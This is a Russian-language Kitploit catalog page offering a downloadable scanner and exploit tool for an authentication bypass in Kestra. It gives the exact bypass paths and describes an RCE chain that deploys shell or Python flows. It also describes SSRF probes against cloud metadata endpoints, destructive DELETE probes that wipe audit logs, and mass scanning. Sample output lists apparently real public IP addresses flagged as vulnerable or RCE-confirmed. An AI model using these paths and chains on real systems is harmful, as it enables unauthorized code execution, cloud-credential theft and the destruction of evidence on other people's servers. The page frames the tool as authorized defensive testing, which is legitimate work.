Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-49869 — Kestra Auth-Bypass Vulnerability Checker | Kitploit
Инструменты/GitHubGitHub/ap0dexme0/cve-2026-49869
Сканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеАутентификация
GitHubap0dexme0/cve-2026-49869

CVE-2026-49869

Kestra Auth-Bypass Vulnerability Checker

Репозиторий
142 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Сканер Kestra CVE-2026-49869 / CVE-2026-53576

Сканирует экземпляры Kestra на предмет обхода аутентификационного фильтра через endsWith("/configs"). Файл AuthenticationFilter.java в Kestra проверяет request.getPath().endsWith("/configs") вместо точного совпадения пути /api/v1/configs. Поскольку Kestra адресует ресурсы через выбранные вызывающим сегменты пути (пространство имён, ID потока), любой путь, оканчивающийся на /configs, обходит базовую аутентификацию, позволяя неаутентифицированное создание потоков и RCE. (CVSS 10.0)

Ссылки:

  • GHSA-5vc5-wxxq-3fjx
  • TP-2026-009
  • CVE-2026-49869 Неправильная аутентификация / Внедрение команд ОС / Неполный список запрещённых входных данных
  • CVE-2026-53576

Логика обнаружения

  1. Проверка работоспособности + версии (должен вернуть 200; тело ответа анализируется для получения версии Kestra)
Скачать инструмент
GET /api/v1/configs
  • Проверка аутентификации GET /api/v1/{tenant}/flows (должен вернуть 401/403, если аутентификация включена)
  • Пробы обхода 6 GET-запросов к путям, оканчивающимся на /configs; если любой возвращает не 401/403 при активной аутентификации, экземпляр уязвим
  • Агрессивный режим (--aggressive) также отправляет PUT-запросы для подтверждения возможности записи в обход аутентификации
  • Проверка RCE (--rce) полная цепочка: создание shell/python потока → запуск выполнения → получение логов → подтверждение выполнения кода → очистка
  • Обнаружение SSRF (--ssrf) создаёт поток с Pebble http(), нацеленный на метаданные AWS/GCP/Azure и внутренние конечные точки, затем проверяет логи на наличие свидетельств
  • DELETE-пробы (--destructive) отправляет DELETE на пути потоков, панелей мониторинга и логов для подтверждения обхода деструктивных операций
  • Конечные точки проб

    Безопасные пробы (по умолчанию)

    ПробаМетодПутьОписание
    Публичные конфигиGET/api/v1/configsПроверка работоспособности + извлечение версии
    Защищённый нормальныйGET/api/v1/{tenant}/flowsБазовый уровень проверки аутентификации
    Обход потоковGET/api/v1/{tenant}/flows/{namespace}/configsОбход получения списка потоков
    Обход выполненийGET/api/v1/{tenant}/executions/{namespace}/configsОбход выполнения
    Обход KV-хранилищаGET/api/v1/{tenant}/namespaces/{namespace}/kv/configsОбход чтения KV
    Обход панелей мониторингаGET/api/v1/{tenant}/dashboards/configsОбход панелей мониторинга
    Обход логовGET/api/v1/{tenant}/logs/{namespace}/configsОбход доступа к логам
    Обход шаблоновGET/api/v1/{tenant}/templates/{namespace}/configsОбход чтения шаблонов

    Агрессивные пробы (--aggressive)

    ПробаМетодПутьОписание
    PUT-обход потоковPUTтакой же, как у обхода потоковСоздаёт минимальный поток debug.Return
    PUT-обход KVPUTтакой же, как у обхода KVСоздаёт запись KV {"scanned": true}

    Деструктивные пробы (--destructive)

    ПробаМетодПутьОписание
    DELETE-обход потоковDELETEтакой же, как у обхода потоковУдаляет ресурс с именем "configs"
    DELETE-обход панелей мониторингаDELETEтакой же, как у обхода панелей мониторингаУдаляет панель мониторинга с именем "configs"
    DELETE-обход логовDELETEтакой же, как у обхода логовУничтожает журналы аудита

    Цепочка проверки RCE (--rce)

    Запускается только при подтверждении обхода аутентификации. Полная цепочка из бюллетеня:

    ШагМетодПутьОписание
    1. Создать RCE потокPUT/api/v1/{tenant}/flows/{namespace}/configsРазвёртывает поток с io.kestra.plugin.scripts.shell.Commands (echo <marker>, id, hostname). При неудаче использует io.kestra.plugin.scripts.python.Script.
    2. Запустить выполнениеPOST/api/v1/{tenant}/executions/{namespace}/configsЗапускает поток через путь обхода
    3. Опрашивать логиGET/api/v1/{tenant}/logs/search?executionId=<id>Опрашивает до --poll-retries раз (по умолчанию 10) каждые --poll-interval секунд (по умолчанию 3) в поисках уникального маркера RCE
    4. ОчисткаDELETEтакой же, как шаг 1Удаляет развёрнутый поток

    Цепочка обнаружения SSRF (--ssrf)

    Запускается только при подтверждении обхода аутентификации:

    ШагМетодПутьОписание
    1. Создать SSRF потокPUT/api/v1/{tenant}/flows/{namespace}/configsРазвёртывает задачу debug.Return с вызовами Pebble http() к AWS (169.254.169.254/latest/meta-data/ami-id), GCP (metadata.google.internal), Azure (169.254.169.254/metadata/instance) и внутренним ресурсам (127.0.0.1:8080/api/v1/configs)
    2. Запустить выполнениеPOSTтакой же, как шаг 2 RCEЗапускает поток
    3. Опрашивать логиGET/api/v1/{tenant}/logs/search?executionId=<id>Проверяет на наличие индикаторов облачных метаданных (ami-, i-, 169.254.169.254, metadata.google.internal и т. д.)
    4. ОчисткаDELETEтакой же, как шаг 1Удаляет развёрнутый поток

    Справочник по CLI

    root@kitploit:~
    positional:
      target                          URL одной цели (например, http://localhost:8080)
    
    options:
      -f, --file                      Файл с целями (по одной на строку)
      -t, --timeout                   Тайм-аут запроса в секундах (по умолчанию: 10)
      --verify-ssl                    Проверять TLS-сертификаты
      -j, --json                      Вывод JSON в stdout
      -o, --output                    Записать JSON-отчёт в файл
      --tenant                        Имя арендатора (по умолчанию: "main")
      --namespace                     Пространство имён для путей обхода (по умолчанию: "tutorial")
      -w, --workers                   Количество потоков для массового сканирования (по умолчанию: 10)
      -a, --aggressive                Отправлять PUT-запросы для подтверждения обхода записи
      -P, --auto-ports                Порты для автоматического расширения (по умолчанию: 8080 8081 8088 8091 80 443)
    
    advanced probes:
      -r, --rce                       Включить цепочку проверки RCE (shell + python поток,
                                       запуск выполнения, получение логов, автоочистка)
      -s, --ssrf                      Включить обнаружение SSRF (Pebble http() к конечным точкам
                                       облачных метаданных, сбор свидетельств на основе логов)
      -d, --destructive               Включить DELETE-пробы на потоки, панели мониторинга и логи
                                       (УДАЛИТ ресурсы на уязвимых экземплярах)
      --poll-interval                 Секунды между опросами логов для цепочек RCE/SSRF (по умолчанию: 3)
      --poll-retries                  Максимальное количество попыток опроса логов для цепочек RCE/SSRF (по умолчанию: 10)
    

    Вывод

    Одиночная цель

    Полная детализация по каждой пробе с дополнениями (версия, RCE, SSRF, статус DELETE) и вердикт:

    root@kitploit:~
    ====================================================================
      Цель:        http://10.0.0.1:8080
      Время:       2026-06-30T12:00:00+00:00
    ====================================================================
    
      Версия:          1.3.20 (ЗАТРОНУТ)
      RCE:             ПОДТВЕРЖДЁН через shell
        | SCAN_RCE_a1b2c3d4e5f6
        | uid=0(root) gid=0(root) groups=0(root)
      SSRF:            ОБНАРУЖЕН
        | Найдены индикаторы: ami-, 169.254.169.254, 127.0.0.1:8080
      DELETE-ОБХОД:    ПОДТВЕРЖДЁН обход аутентификации для деструктивных операций
    
      [Обход потоков]
        URL:         http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
        Статус:       200
        Обход:       ДА
    
      [Обход выполнений]
        URL:         http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
        Статус:       404
        Обход:       НЕТ
    
      ...
    
      ── Цепочка проверки RCE ──
        Создание потока: 201
        Запуск выполнения: 201
        Свидетельства в логах: 200
          > SCAN_RCE_a1b2c3d4e5f6
          > uid=0(root) gid=0(root) groups=0(root)
        Очистка потока: 204
    
      ── Цепочка обнаружения SSRF ──
        Создание потока: 201
        Запуск выполнения: 201
        Свидетельства: 200
          Найдены индикаторы: ami-, 169.254.169.254, 127.0.0.1:8080
        Очистка потока: 204
    
      [УЯЗВ]  Вердикт: УЯЗВИМ ...
    ====================================================================
    

    Сводка массового сканирования

    Отсортированная таблица с колонками флагов RCE/SSRF/DEL:

    root@kitploit:~
    ========================================================================================================================================
      СВОДКА МАССОВОГО СКАНИРОВАНИЯ   GHSA-5vc5-wxxq-3fjx  |  CVE-2026-49869 / CVE-2026-53576
    ========================================================================================================================================
      #    Цель                             Аут   Пот   Вып   KV    Пане  Логи  Шабл  RCE   SSRF  DEL   Верд.
      ---------------------------------------------------------------------------------------------------------------------------------------
      1    http://173.249.1.26:8080        401    404    ERR    ERR    ERR    405    404    ДА    ДА    ДА    RCE!
      2    http://207.180.207.199:8080     401    404    ERR    ERR    ERR    405    404    НЕОП -      ДА    УЯЗВ
      ...
      30   http://103.115.65.228:8080      401    401    ERR    401    ERR    401    401    -      -      -      БЕЗОП
      ...
    ========================================================================================================================================
      Всего: 258  |  Уязвимых: 5  |  RCE подтверждено: 1  |  SSRF обнаружено: 1  |  DELETE-обход: 2  |  Безопасных: 29  |  Неопределённых: 224
    ========================================================================================================================================
    

    Коды выхода: 0 = уязвимостей нет, 1 = уязвимость найдена, 2 = все неопределённые.

    JSON-отчёт

    При использовании -j или -o вывод включает поля дополнения для каждой цели:

    root@kitploit:~
    {
      "scan_info": {
        "scanner": "kestra_cve v2.0.0",
        "cve": ["CVE-2026-49869", "CVE-2026-53576"],
        "aggressive": true,
        "rce": true,
        "ssrf": true,
        "destructive": true
      },
      "results": [
        {
          "target": "http://10.0.0.1:8080",
          "vulnerable": true,
          "version": "1.3.20",
          "version_in_affected_range": true,
          "rce_confirmed": true,
          "rce_method": "shell",
          "rce_evidence": "SCAN_RCE_a1b2c3d4e5f6\nuid=0(root)",
          "ssrf_detected": true,
          "ssrf_evidence": "Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080",
          "delete_bypass": true,
          "probes": { "..." : "..." }
        }
      ],
      "summary": {
        "total": 258,
        "vulnerable": 5,
        "rce_confirmed": 1,
        "ssrf_detected": 1,
        "delete_bypass": 2,
        "safe": 29,
        "inconclusive": 224
      }
    }
    

    Обнаружение версии

    Сканер автоматически извлекает версию Kestra из ответа GET /api/v1/configs и классифицирует её:

    ВерсияКлассификация
    <= 1.0.44ЗАТРОНУТА (ветка 1.0, до исправления)
    >= 1.0.45Исправлена (ветка 1.0)
    1.3.0 1.3.20ЗАТРОНУТА (ветка 1.3, до исправления)
    >= 1.3.21Исправлена (ветка 1.3)
    >= 1.4.0Исправлена (новее затрагиваемого диапазона)
    НеизвестноВерсия не найдена в ответе

    Используется сравнение с учётом веток, поскольку Kestra поддерживает отдельные ветки исправлений (1.0.x и 1.3.x).

    v1.0.0

    • Первоначальный выпуск с безопасными GET-пробами, агрессивными PUT-пробами, массовым сканированием и JSON-выводом

    Установка

    Требуется Python 3.10+.

    root@kitploit:~
    pip install -r requirements.txt
    python main.py --help
    

    Отказ от ответственности

    Только для авторизованного защитного тестирования. Флаги --rce и --destructive создают и выполняют реальные ресурсы на цели. Всегда получайте соответствующее письменное разрешение перед сканированием систем, которые вам не принадлежат.